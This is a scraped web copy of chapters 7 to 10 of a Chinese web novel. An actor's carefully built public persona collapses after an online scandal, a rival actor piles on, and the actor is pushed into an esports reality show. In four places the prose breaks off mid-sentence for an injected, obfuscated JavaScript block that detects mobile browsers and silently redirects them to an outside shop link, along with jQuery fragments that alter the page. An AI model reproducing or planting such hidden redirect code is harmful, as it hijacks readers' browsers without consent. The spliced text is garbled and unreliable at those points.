《你人设崩了》
7. 有人放飞自我。
【二笔少年欢乐多:笑死,意料之中。粉丝天天吹什么清冷气质天花板,还不是露馅了?娱乐圈本来就是一群假人玩游戏,这次只是人设崩了,谁知道私下里还有多少脏事?塌房指日可待哈。】
【创飞全世界:……前段时间不是还有匿名爆料他职场霸凌吗?就知道他不是什么好东西,那事最后也不了了之了,现在这样也算是因果轮回吧。】
【两眼一睁就是干:好傻波一……他精神没问题吧……演技太好还是人格分裂……】
【凌凌漆:不行我接受不了,反差好大好割裂,谁出来说句话啊解释什么我都信,我真不能接受小山说这种话……想象不出来啊啊啊!】
【成成成成:早就觉得他装得要死了,平时演高岭之花演得挺累的吧?立人设骗粉丝,私下里跟游戏主播发骚,好恶心……】
【江某人什么时候塌房:笑死这一天总算来了,早就看姓江的和他那群脑残粉丝不顺眼了。好资源都是他的好事也都是他的,导演把他夸得跟花一样不也就那样?谁知道是资源都用什么换来的,有本事继续装啊,神经病一样看见那张脸就烦,什么时候能塌个大的啊,你们的报应还在后头呢。】
……
公司休息室,江南岸抱着平板电脑靠在沙发里,屏幕中的页面正是热搜话题广场。他用食指在屏幕上漫无目的地划了两下,开口时声音很轻,像是一句感叹:
“我可真讨人嫌。”
齐虹耳尖地听清了这句话,走过来一把抢走了他手里的平板:
“可不能说这种话,你几千万粉丝不都是喜欢你冲着你来的?要你还讨人嫌,那其他人还混不混了?”
江南岸微微眨了下眼,声音更轻了,像是随口一说:
“他们喜欢的是我吗?”
“什么?”
齐虹这次没能听清。
“……没什么。”江南岸抬手揉揉头发,认真道歉:
“对不起,又给大家添麻烦了。”
“行了,这事不能全怪你。发错账号手滑点赞而已,你这小打小闹比起圈里那些嫖的毒的偷税的找嫂子脚踏N条船在法律边缘横跳的能算什么啊?”
齐虹早已调整好了自己的心态,现在的她看起来与之前在电话里大吼大叫的那位简直判若两人。
她把平板丢给旁边的小孙:
“我们评估过了,这件事背后指定有人浑水摸鱼想搞你,不然网上至于这么上纲上线的?挖不出你黑料就搞借题发挥拱火这套,真够阴的。这样,这事咱们不回应,网上那群人爱怎么编排就怎么编排吧,咱不承认就没这事,等到过两天,我揪几个带头搞事的给他告了……不上点手段真以为我们好欺负呢?”
左右不是什么原则性的大事,围观群众热闹两天狂欢过后热度就该慢慢下去了,至于人设这部分,反正没有实质性的证据,他们以后还是该咋样咋样,就算之后有人再提也掀不出什么大风浪,顶多被评论嘲两句完事,没什么大不了的。
可齐虹总觉得还有哪里不对劲,她点进热搜的实时发布页面不断刷新博文,发现关于此事的讨论不知何时已经莫名其妙偏到了另一个方向。
【爱梁梁:所以之前爆料的江南岸职场霸凌也是真的咯,我们梁梁宝实惨,认真演戏认真工作还要被“前辈”霸凌,别人看不过去替他出头还要被江粉追着阴阳怪气,@梁成宝宝大胆说!不用怕大家都站在你这边的!】
【用户287398:工作人员。江南岸镜头前就是纯人设,私下里真的架子很大脾气也大,耍大牌不把工作人员当人,他杀青那天我就在现场,他指着梁成鼻子骂的时候确实挺狠的,梁成一个新人原本就是尊重前辈想跟他合个影,也不知道怎么了就被一顿臭骂,剧组好多人都挺心疼他的,但没办法人家咖大呗,难评。】
【吃口成子蛋糕:大胆开麦江南岸就是一个神经病……脑子有问题,所以我们将难安老师什么时候给被你霸凌过的新人演员道歉??@江南岸@江南岸@江南岸】
在网络上,发散思维前后联系上下文是正常的,添油加醋浑水摸鱼无中生有是正常的,粉丝护犊子撕对家也是正常的,但问题是……
“虹姐!”
休息室的玻璃门被人从外面推开,公司的实习生慌忙探进脑袋:
“梁成那边回应了!词条已经上热搜了!”
“梁成?关他屁事?!”
齐虹的声音都变了调,她立马摸回平板,江南岸也慢吞吞拿起手机点开了微博。
果然,“#梁成 回应#”的词条已经在热榜上挂着了,眼看着还要往上爬。
【梁成V-5分钟前:啊哈哈,关于大家的讨论我来说明一下哦!那都是没有的事啦,大家不要为我担心,我真的很高兴能和江南岸老师合作,能得到前辈指导也超级荣幸!!我确实还有很多不足,工作期间也给大家添了很多麻烦,感谢江老师的包容和建议,未来我会努力提升自己,做一个和江老师一样优秀的演员!!】
江南岸摘了一颗葡萄送进口中,他垂眼看着屏幕里的博文,微一挑眉。
“真是茶香四溢……”齐虹咬着牙,差点没把手机直接砸出去:
“他想干什么?啊??当老娘不知道他经纪人上个月从狗仔手里买了他多少料是吧???这种落井下石的玩意……”
梁成出来横插一脚,看似是在维护江南岸,但明眼人都能看出来他那点暗踩的小心思。这种行为,也就只有他粉丝相信他是真人善心好的天使宝贝。
但这就够了,因为他已经把半个月前那条未被证实的匿名爆料在桌上拍死了,意思就是没错这爆料是真的当时确有其事,他江南岸就是仗着“前辈”身份在片场教训后辈,他就是一个可怜的被欺负还不敢声张的受害者,而这件事情的前因后果,还有内容到底是“指导”还是“霸凌”,都已经不重要了,因为网友会自行脑补发散,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14073660|149405||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也有更多所谓“在场工作人员”出来浑水摸鱼,至于围观群众,他们只会相信自己愿意相信的那部分。
齐虹气得要死,小孙看见她那样子,赶紧出声缓两句:
“没事吧虹姐,咱不理他让他一个人蹦跶行不行?”
“他要真是一个人蹦跶还真好了!”齐虹摔了眼镜,烦躁地揉揉鼻梁:
“他在这风口跳出来说这么一段话,引导网暴都是小事,有些事情是假的就真不了,但关键是他间接坐实了你哥私底下确实和镜头前两模两样……唉,真够烦的,出点事就有小丑想着法出来蹭热度虐粉,发什么江难财呢,真叫人不爽。”
齐虹重重叹了口气,抬手拍拍江南岸的肩膀:
“你也别往心里去,这事交给我吧,就是以后咱在外面真的要小心再小心了,千万不能再招惹这种瘟神……什么?开会,行我马上去。”
齐虹踩着高跟鞋“噔噔噔”走了,江南岸靠在沙发上,垂眸玩着自己的手指,看不出什么情绪。
小孙观察着他的表情,安慰道:“哥你别伤心,来,喝点水。”
“啊?没伤心。”
江南岸没太懂自己有什么好伤心的,网上那群人爱骂就骂,反正他也不会因为这些事多掉一根头发。他只是觉得娱乐圈这些遮遮掩掩和勾心斗角很无聊,趁机跳出来想吸他血要他命的小丑更叫人心烦。
他搂着抱枕,看着休息室玻璃外匆匆走过的齐虹,过了片刻,他突然望向小孙,没头没尾地低声问出一句:
“你说破罐子破摔需要赔违约金吗?”
“嗯……”小孙下意识应了一声,等半秒后大脑反应过来江南岸说了句什么:
“啊?!!!”
会议室。
齐虹正就梁成横插一脚的事发脾气,公关部的人坐在边上焦头烂额,会议室里除了齐虹的声音就是鼠标键盘被按动时的轻响。
“他梁成算个什么东西?我们拿影帝的时候他还在他那破学校里搞霸凌呢!仗着背后有人就这么玩,真当我们低调是好欺负啊?来,把……”
齐虹一段话没说完,突然听见桌上手机响了一声。
那一瞬间,她突然有种非常非常不妙的预感。
因为那是她单独加给江南岸个人微博的消息特殊提醒。
“虹姐——”
与此同时,小孙连门都来不及敲,直接推开了会议室的门,面色惊恐:
“哥跑了!跑之前让我跟你带句对不起——”
齐虹抬手打断了小孙的话。
她颤抖着手拿起了手机。
会议室里死一般的寂静,齐虹背后的手机投屏随着她的滑动换到了一个新的页面。
【江南岸V-1分钟前-IP属地上海】
【@梁成,无需自卑,你已经是个很棒的演员了![点赞][点赞][点赞]加油!期待你下次的精彩表演![玫瑰][玫瑰][玫瑰]】
8. 有算盘珠子噼里啪啦!
江南岸的这条微博把整件事情的热度推上了一个新高度。
他以往在媒体面前的形象多是清冷温和沉默寡言,待人待事也懂分寸有礼貌,社交平台几乎非必要不营业,在镜头前连大点的情绪起伏都没有,俗称可望不可即的高岭之花。
但这次在疑似崩人设风波后,高岭之花突然走下神坛用大号贴脸开战,每个表情符号都带着浓郁到几乎凝成实质的阴阳怪气。
围观群众嗷嗷乱叫,说他装不下去了、说他真性情、说他终于有了点活人感……说什么的都有,大家都在等着下一场好戏,但江南岸却一击脱离,再没就此事做任何说明。
原因很简单——
他的微博账号被齐虹没收了。
江南岸疯完了爽完了,给齐虹写了五千字检讨后就再没关注这事,毕竟他微博没了,而他对开小号上网看别人骂自己这种事实在不感兴趣。
他只知道齐虹买了点营销来铺梁成在剧组干的那些破事,包括但不限于耍大牌、硬加戏、不敬业……一是侧面替江南岸解释“职场霸凌”的事,二是为了警告梁成安分点,别再没事找事。
可能是因为梁成的参与,也可能是因为江南岸的回应,事情并没有如齐虹他们希望的那样在狂欢过后被网友淡忘,相反,网上因为这事轰轰烈烈闹了十多天,甚至出现了一个新名词叫做“江学”,有博主翻出了江南岸出道至今所有采访和剧组花絮来逐帧分析,就为了找出他镜头前演戏的证据,美其名曰“帮他寻找真实的自己”。
有的粉丝接受不了明星用人设圈粉脱粉回踩,也有人觉得他这种性格更真实更可爱,总之说什么的都有,相关话题乱成了一锅粥,在公关评估出下一步最优方案之前,齐虹帮江南岸推掉了最近的工作,让他待在家好好休息一段时间。
这对江南岸来说倒是件好事。
他喜欢演戏,喜欢体验不同角色的人生,但平等地讨厌除了表演以外的所有工作。应酬、杂志、直播、红毯、采访……一切有关社交的活动,不仅他不喜欢,还得连带齐虹一起提心吊胆,就算齐虹已经尽可能地帮他把这部分行程减到最少了,可在娱乐圈里,这些事情总是绕不过避不开的。
现在好了,一朝东窗事发,麻烦的工作推了个干净,江南岸乐得清闲。
这样的轻松日子过了快一个月,直到某一天,齐虹突然不打一声招呼上了门。
她带了江南岸七年,几乎把他当自己半个弟弟看,进他家就跟进自己家似的,美美给自己泡了杯咖啡才说起正事:
“这一个月休息够了没?我发现了,江南岸,你是真的心大,别家艺人摊上这事早就求爷爷告奶奶给自己找机会露脸试水了,就你稳得一批把冷却期当度假。”
江南岸靠在沙发椅里,手里拿着一本《宣史·诸葛问云传》,缓缓翻过一页,姿态岁月静好得仿佛落地窗外的阳光都带上了清浅的油墨香味。
“心不大的话你或许可以在楼下那棵漂亮的桂花树上找到我。年纪轻轻就能躺在土里吃香火,想想还有点小激动。”
“滚!”齐虹翻了个白眼,清清嗓子,郑重宣布:
“公司那边考虑过了,打算让你接个真人秀试试。”
“?”江南岸动作一顿。
他用一种“你是不是疯了”的眼神望向齐虹。
“嗐,我知道你不爱也不适合社交。”齐虹赶紧给他顺顺毛:
“但一直逃避不是问题,这件事影响挺大的,后续不好收尾,资方那边也不好做评估,摸不清网友对你到底是个什么态度。正好你以前从来没参加过综艺真人秀,这次就去试试,就当玩玩。顺便做做人设,用你精湛的演技堵住网友的嘴,这样他们也不好再说什么是不是?你粉丝维护你也有底气……”
“不玩。这种事到处都是摄像头,一直演戏很累。我也不想和别人打交道。”
江南岸残忍地拒绝了齐虹的提议。
江南岸讨厌社交讨厌营业,这点齐虹是知道的,也知道江南岸不会轻易接受这个方案,要让他松口,那指定得打一场恶战。
齐虹看看江南岸,正头脑风暴着,突然看见了他手里的书,一时计上心头:
“哟,看宣史呢?”
“嗯。”江南岸没抬眼。
“宝,好宝,好江宝,你看公司做这个决定也是为你好不是吗,就拿这事来说吧,你很喜欢《帝师》的剧本和诸葛问云这个角色以及这段历史对吧?虽然章导说了这个角色非你莫属,但现在合同都还没见影,人大导演的顾虑和选择太多了,多少好演员排着队等着接本,人家随时有可能换人,你说是不是?现在这事闹成这样,咱们不做点措施,他能放心签你吗?那万一他用你之后观众不买账怎么办?万一播出效果不好怎么办?万一投资方觉得风险太大不乐意怎么办?这都是人家需要考虑的事情,毕竟事是咱闹出来的,咱得给人家一个保障是不是?你放心,节目组那边我们都谈好了,不会有恶意剪辑什么的,你就当去玩一玩,嗯?”
齐虹苦口婆心地劝着,发现江南岸无意识地用指腹捻了捻纸页,就知道这事八成是稳了。
果然,片刻后,江南岸问:
“……干什么的真人秀?追跑打闹做任务的?唱歌跳舞搞选秀的?还是做饭的种地的聊天的野外生存的?”
齐虹露出一个神秘的微笑:
“都不是,我哪能让你干那个啊?内容绝对是你喜欢的,真的,包你录的时候得心应手如鱼得水仿佛回到自己家。”
“……?”
-
北京。
言戒一身休闲运动装,正挂着蓝牙耳机蹬跑步机,胖鱼拍着自己的圆肚皮歪在一边,对着手机一个劲儿傻乐。
言戒瞥了他一眼,关了机器,拎起旁边的电解质水拧开喝了一口,慢悠悠走过去踹了胖鱼一脚:
“哎我说,嘴里说着色衰爱弛要努力健身讨老婆欢心的不是你啊?非特么把人拉过来陪你,你倒是跑两步啊?做俩仰卧起坐就嗬哧嗬哧喊累搁那瘫着了,您有这种毅力,做什么都不会成功的。”
“滚滚滚!”
胖鱼摆摆手:
“我这不忙着吃瓜呢么?还记得我之前跟你说的内搞策划的朋友吗?他们内节目请不来嘉宾,本来都感觉快黄了,结果这两天又给盘活了。”
“哪个啊?”言戒扯下毛巾擦擦汗。
“就跟烈焰圣杯一起搞的,找一帮子人搞训练打比赛的,叫什么燃烧永恒。”
“哦。”言戒想起来了:“怎么着?”
“你猜他们把谁谈来了?”胖鱼“嘿嘿”笑了两声:
“江南岸!”
“谁啊?”言戒听这名字有点耳熟,但一时还真对不上号,便随口一问。
谁知胖鱼却瞪大眼睛见鬼似的望着他:
“你还跟人一起上过热搜呢,你不知道人是谁啊?”
这么一说,言戒就想起来了:
“哦,他啊。很红吗?”
“红得发紫了都,我老婆可爱看他了,壁纸都是他照片。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14073661|149405||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不儿,你之前还拉着我坐电影院里看他电影,后来又是双排又是评论区互动上热搜,我以为你俩认识呢,敢情你连人叫什么名字都不知道啊?”
“我又不爱沾娱乐圈,上哪……等等?”
言戒吐槽中途一顿,一时有点没明白胖鱼说这话的意思:
“我看过他电影?”
言戒平时除了玩玩游戏就是天涯海角跑着瞎逛,不怎么看电视剧,偶尔看个电影也只挑排行榜顶头那些经典里的经典,因为不喜欢娱乐圈的风气所以平时不怎么关心,根本不知道那些小明星谁是谁,但现在胖鱼这么一说,他脑海里突然跳出来一张令人印象深刻的脸。
“啊,你说的是那漂亮杀人魔?”
“是啊。”
“我还跟他双排过?我怎么没印象。”
“呵,我算是信了,你是真不沾娱乐圈啊,当时那热搜闹那么大,扯了一堆乱七八糟的人,你还算半个当事人,你就真一眼没看?”
言戒耸耸肩:“没看啊。当时人跟我说我热搜爆了,我还当我这么红呢,结果一看,嘿,原来我特么是蹭热度的那个。扫了一眼只知道是个小明星光顾了我评论区,再就没看了,对这些又唱又跳的不感兴趣。”
更重要的是那段时间言戒突发奇想跑了趟撒哈拉,最近两天才回北京,他知道自己上热搜的时候人已经在机场候机厅了,哪有空关心那娱乐圈无关人员的闲事。
“你可真行,要我上个热搜我都得一天二十四小时住里边儿。就您大爷驰骋撒哈拉一个月之后还不知道这事儿里谁是谁。”胖鱼摇摇头,叹了口气:
“唉,未婚男人就是自由有底气,等着,哥们儿帮你看看究竟怎么个事儿。”
胖鱼抱着手机研究一会儿:
“现在网友战斗力真强,把人小明星底裤都扒出来了,我老婆气得要死天天抱仨手机跟黑子对线,说要给他宝宝撑腰连饭都顾不上吃……‘天气真好上个吊吧’,这名儿熟吗?说是那小明星的游戏账号,又是跟你双排又是给你砸礼物又是给你俩CP视频点赞的,当时扒疯了都。”
言戒本来也就是随口一问没多在意,听见这话却微一挑眉:
“是他?”
他低头点开猫爪App看了眼,扬唇莫名其妙笑了一下:
“怪不得不回消息也再没上线,搞半天是切错号捅娄子了,搁那生闷气呢……怎么着,这事对他影响大吗?”
胖鱼望着他一脸嫌弃:
“不是说不爱沾娱乐圈吗?这就关心上了?就看人家长得好看是吧?”
“哪能啊。”
“我也不清楚,就知道这事儿闹挺大的,都说他人设崩塌什么的,最近没听过他消息了,反正我媳妇老想他了,估计小明星做错事在家面壁思过呢吧。”
“这么可怜啊?”
言戒靠在椅背上,手指无意识地轻轻点着,过了一会儿,他突然拍了把胖鱼的肚子:
“哎,鱼儿,赶紧问问你朋友那节目还缺人吗?”
“???”胖鱼小小的眼睛“唰”一下瞪圆了:
“不是吧言戒?你这几个意思??你丫可真让人感到陌生!谁说娱乐圈又唱又跳谁沾谁倒霉的?谁说人节目是搞选秀的??”
“嗐,那不是那会儿觉得无聊吗。”
“那现在呢?现在不无聊了??”
“现在……”
言戒弯唇笑笑,露出侧边的犬齿,轻轻捻了下指腹:
“你别说,突然又感觉有点意思了。”
9. 有人被迫营业。
齐虹威逼利诱连哄带骗地让江南岸接受了《燃烧永恒》的录制,签完合同对接完各种事宜之后,等节目正式开机已是初秋时节。
节目录制场地并不在上海,而是在更靠南一点的临云市。
《燃烧永恒》算是个成长向真人秀,说是参考了青训营的封闭训练模式,前期以训练和常规积分赛为主,训练期结束后将会正式分队开始淘汰赛,让嘉宾充分体验真实电竞职业选手的成长和蜕变,而经过一轮轮残酷的淘汰赛后,最终留下的队伍将会站在赛场上淋着属于他们的亮片雨,捧起《燃烧永恒》S1赛季的冠军奖杯。
这节目在临云一录好几个月,齐虹在上海还有工作,不可能一直盯着江南岸,所以这次和江南岸一起去录制场地的只有小孙一个人。
江南岸不爱和人打交道,向来不爱往身边放太多人,所以小孙一直兼任他的生活助理和工作助理,一年到头陪着他天南海北到处跑,比江南岸自己还了解他那些小习惯小毛病。有他在,齐虹很放心。
正式录制的第一天,节目组的车一大早就等在了酒店楼下,负责对接江南岸的FollowPD是个年轻女生。
听她大概讲过今天的录制流程后,江南岸把麦克风夹在衣领上,上车时扫了眼前排座椅间架着的GoPro:
“直播吗?”
齐虹跟他说过燃烧永恒的播出形式,他知道这节目除了常规录制之外还会有直播部分。
“不是的。”小李调整了一下GoPro的角度:
“咱们是类似封闭式训练营嘛,直播部分主要是在训练期间向观众展示选手日常,要播也是明天了,现在只是常规录制。”
说着,小李悄悄抬眼打量了一下江南岸。
眼前年轻男人的长相的确是极好的,即便在俊男靓女扎堆的娱乐圈也属于极为出挑的那一类。他头发留得稍微有点长,大概是本身肤色偏白的原因,他的发色并不是纯黑,而是透着点冷栗色调,五官比电视里看到的更加立体。顶级骨相,眉眼精致,尤其一双桃花眼,眸子干净清澈,眼角线条微微向下,加上左眼泪痣和鼻梁侧边的小痣,显得整个人有种很特别的、清冷忧郁又文艺的气质。
小李一时看得有点出神,直到江南岸抬眸对上她的视线,她才有点生硬地挪开目光。
“那个……江老师先简单介绍一下自己吧?”
现在已经算是正式录制了,在到达摄影棚之前FPD会先跟艺人聊一些小问题,以丰富后期剪辑内容。
小李有些忐忑地看着江南岸,而后她就见江南岸轻轻点点头:
“你好,我叫江南岸。”
“?”这仿佛小学生开学自我介绍一般的语气让小李的表情空白一瞬。
可能是发现了她的茫然,江南岸又迟疑着补充一句:
“是一个演员。”
“呃我知道……”小李话音一顿,一时有种捂脸的冲动。
他们这是在说什么啊……
她赶紧换了下一个话题:
“我们都知道江老师以前演过相关题材的电视剧,那您私下里有接触过烈焰圣杯这款游戏吗?”
“有。”
“一般玩哪个位置比较多啊?”
“中单。”
“可以问问本命英雄吗?”
“本命……?”
“啊,就是最喜欢的英雄角色。”
“塞壬吧。”
……
“那江老师对接下来的录制生活会有什么期待吗?”
“……”江南岸在这个问题上迟疑了一下。
他应该期待什么,期待早早被淘汰然后回家好好看书?
江南岸原本懒洋洋地倚在座椅上,刚准备张口一本正经乱答一通,却又想到了这次出发之前齐虹说的话——
“这次你就当是换了个地方打游戏,好不好?哎呀我知道这种节目一录好几个月你时时刻刻端着克制自己肯定很累,但这是没办法的事嘛,咱得为你的未来考虑是不是?加油!诸葛问云在向你招手!”
江南岸无声地叹了口气,稍稍坐直了身子,再开口时,发言十分官方:
“期待能够站上赛场吧,就像一个真正的电竞选手那样。”
节目组准备的问题不难,江南岸的回答也都清晰简洁,等到这一环节过去,车也差不多开到了录制地点。
小李松了口气。
她之前没跟江南岸合作过,但吃过前段时间那口烂瓜,知道网上各种爆料说江南岸性格很差是最不好相处的那种艺人。虽然她知道互联网上的话不能信,但心里还是多少有点忐忑,今天来之前她就已经做足了艺人耍大牌不配合的准备,原本以为将会迎接一场恶战,但小江老师这不是挺好相处的嘛?
小李暗自握拳。
网络上的话果然不能信!
《燃烧永恒》的录制地点在临云的一个影视基地,在类似红毯签名之类的环节之后,江南岸被小李带进了一个小房间。
房间里有两张小桌子,其中一张放着一个大号塑料收纳盒,盒子里摆了不少智能手机,另一张桌
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14073662|149405||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上则摆了五张关键词卡片。
江南岸扫了一眼那个收纳盒,问:“要收手机?”
PD没想到他会主动cue流程,赶紧点点头:
“是的,从在门外签下自己名字的那一刻开始,你就正式成为一名电竞训练生了,新身份新生活开始后的第一件事,就是和你的手机告别。”
江南岸点点头,自觉从口袋里摸出手机,没有一点留恋地放进了收纳盒里:
“然后呢?”
“?”大概没料到他会是这种反应,工作人员茫然地对视一眼。
为了播出效果,他们事先并没有告知嘉宾节目还有这一环节,江南岸今天并不是最早到的,在他之前的嘉宾或为综艺效果、或真情实感,哪个不得跟自己的手机做个漫长的心理斗争和告别,再给家人朋友经纪人打打电话发发消息报备一下?对于现在的年轻人来说,手机简直跟吃喝一样重要,还有如此干净利索主动上交的?
但意外归意外,该走的流程还是得走。
PD清清嗓子:
“请在另一张桌上的五张关键词卡片中随意挑选一张。”
江南岸点点头,垂眼打量起了那几张卡片。
见他如此淡定,PD忍不住了:“不好奇是选来干什么的吗?”
“……”江南岸目光复杂地看了他一眼:
“要根据这个分配室友?”
挑选关键词这种事,要么给贴自己要么就是卡别人,总之都跟组队挂钩。但电竞训练营真人秀在怎样的情况下需要组队?现在嘉宾刚入营,节目组肯定不可能让人一上来就挑队友打比赛,那不就只剩了室友这一种可能性?
果然,PD沉默了。
他点点头:“你选吧。”
江南岸重新把目光落到了那几张卡片上。
卡片不多,关键词的指向也并不精准,分别是“e心e意”、“情绪至上”、“颜值担当”、“峡谷霸主”和“和谐有i”。
江南岸扫了一眼,想都没想就拿起了那张“和谐有i”,转过卡片给PD和摄像机看。
PD照例询问:“为什么选择这个关键词?”
“……”江南岸看看他,又看看手里的卡片,诚实道:
“其他四个看起来很热闹。”
他面无表情把卡片放了回去,认真解释:
“但我喜欢安静稳重的。”
顿了顿,他重新将目光投向PD,脸上没什么表情,眼神却带着丝似有若无的恳求:
“……拜托了。”
10. 有遇到意想不到的人!
江南岸知道这季节目一共请了三十位嘉宾,但他并不知道其他二十九位具体是谁。他只知道训练营内的寝室只有两人间,这意味着他即将和一个陌生人同吃同住很长时间,原本他还抱着侥幸心理想着至少室友是可以自己挑选的,没想到节目组这么狠绝,这种只给关键词的选择形式跟开盲盒有什么区别?
江南岸是真的不爱社交,更不爱有其他人参与自己的生活。跟人坐在一起打游戏还行,毕竟这算是工作,可如果一定要随机从二十九个不认识的人里挑一个出来一起生活,那他希望这个人的性格至少能够安静稳重一些。当然,重点在安静。
离开交手机的房间之后,工作人员给了江南岸一张入营问卷,主要是填自己的基本信息,还有游戏中擅长的位置和英雄之类。江南岸如实填完,用完成的问卷从工作人员那里换来了一张房卡。
今天拍摄的内容不多,上午是学员入营、分配室友,等三十位嘉宾到齐之后,下午就是嘉宾破冰以及实战分班环节。
《燃烧永恒》的录制地点在临云一片影视园区内,宿舍环境还不错,双人间,独立卫浴,有书桌,还有个采光很好的大阳台。江南岸的行李已经被小孙送进房间了,他带的东西不多,只有一只大号行李箱,正好端端停在贴了他姓名卡的大床旁。
摄像老师扛着机器靠近了江南岸和他的箱子,小李在旁边问:
“江老师带的行李很少诶,都带了什么呢?”
江南岸知道这种真人秀节目都有检查嘉宾行李的环节,他想了想,没回答,而是直接拉开行李箱的拉链,把箱子平摊在摄像头前。
然后小李和摄像老师就看见箱子里排排放着的……整套《宣史》。
艺人过来录节目,带衣服带化妆品带零食都正常,这带一套史书是什么情况???
江南岸没注意工作人员的沉默,他自顾自收拾着行李,小李在旁边看着,发现他的箱子里除了书以外就没什么出人意料的东西了,余下都是一些常规的衣服和护肤品。
“我之前看其他嘉宾带了好多零食,江老师没为自己准备吗?”小李问。
“嗯。”
“江老师带的东西都很实用呢……”
对话莫名变得无比尴尬,小李抿抿唇,正想再硬找点话题来缓和眼下略显僵硬的气氛,却突然听见门外楼道里传来一片杂乱的脚步声。
听着应该是有其他嘉宾到了,江南岸微一挑眉,下意识抬眸看去,果然,几秒后,门外多出一道高挑人影。
那是个看着二十五六岁的年轻男人,短发,浓眉,眉眼深邃,气质沉稳,长相极为周正。
对上对方目光的那一瞬,两个人都微微一愣。
“小山?”
“加哥。”江南岸起身和男人握握手。
他确实没想过在这个节目里还真能遇到自己认识的人。
眼前的男人叫盛豫加,二十五岁,算是内娱很出挑的年轻男演员。
他俩是两年前在剧组认识的,那时候江南岸去盛豫加的戏里客串了一个角色,几场对手戏下来,两人都很认可对方,一直想找机会再合作一次,却因为各种各样的原因没能成,始终缺了点缘分。
可能是看两个人都有点懵,小李忍不住问:
“加哥不知道江老师会来吗?”
闻言,盛豫加摇摇头,又点点头:
“在网上看到有人说你们请了他,但我以为是谣言。”
盛豫加的长相和气质都很正,常被人调侃“一身正气”、“坚定得像是要入党”,他本人也一点不愧对这两条评价,性格和行事风格十分板正沉稳,甚至有个外号叫“木头加”。
小李听说盛豫加在选择室友关键词时也选了“和谐有i”,她一定会建议后期老师剪这段时在屏幕里加一句“双向奔赴室友情”。
江南岸是出了名的清冷,盛豫加是出了名的沉默寡言,两个i人凑在一起的结果就是,打完招呼后就开始各收拾各的,连尬聊环节都没有,哪怕一点点。
可能拍两个男人沉默着整理内务实在太无聊了吧,小李给两个人简单交代了下午的时间安排后就带着摄像老师离开了寝室。
后来,小孙来过一次,他敲了门进来看见房间里的盛豫加,还愣了下神:
“盛老师?您也来了啊?太好了呜呜呜呜……”
小孙一颗悬着的心直到看见盛豫加的那一刻才终于放下来,对他来说江南岸的综艺首秀能和一个稍微认识了解些的人凑在一起真是再好不过了,更何况盛老师还那么靠谱,他一会儿也可以放心给虹姐报个平安。
小孙在心里抹了一把欣慰的泪水,才想起和江南岸说正事:
“对了哥,我刚在这楼里转了一圈,这地方还挺大的,我都打探好了。这边是三楼A区嘛,这块应该都是男生寝室,出门往另一头走就是B区健身房,楼上应该是女寝,二楼是训练室理疗室餐厅和茶水间,一楼没什么东西……对了你这收完了吗,需不需要我帮忙?咱这也快到点了,一会儿我带哥稍微转转,对了哥你中午想吃什么,我给你定个外卖,咱下午还不知道要录到几点呢。”
“不用了。我一会儿自己转转,到时候去餐厅就好。”江南岸答。
小孙点点头,也没再坚持,只道:
“那行哥,我在旁边那栋楼住,你平时有事直接滴滴我就行了……哦你手机交了,没事过两天我求求他们看能不能给你拿回来!那哥你这两天要是有事如果在边上看不见我就找咱的FPD,就那个小李老师,我加她微信了,让她叫我就行。”
江南岸看着小孙亮晶晶的大眼睛,没有应他的话,跟他对视片刻才开口道:
“这种工作你不用一天到晚守着我,临云这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14073663|149405||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
边风景不错,你可以去转着玩玩,到时候花销按差旅费算,我给你报销。”
听见这话,小孙脸上的笑容僵住了,而后在短短几秒内飞速变淡,漫上悲伤。
他跟江南岸挺久了,虽说嘴里叫“哥”只是敬称,但在他心里,他真把江南岸当自己半个亲哥。他哥不喜欢身边有太多人,所以身边向来只有他,小孙也早就习惯了跟在他身边事无巨细地照顾着。他还封自己为“哥最贴心的小保姆”,曾经有人看他这助理实在太机灵太全能,想把他从江南岸这挖走还被他严词拒绝,这都是因为他跟他江哥之间的感情实在太深刻,绝不是因为他哥给他开的工资实在太高什么的……总之,这还是江南岸第一次拒绝他的服务说不用他跟着要放他自由。
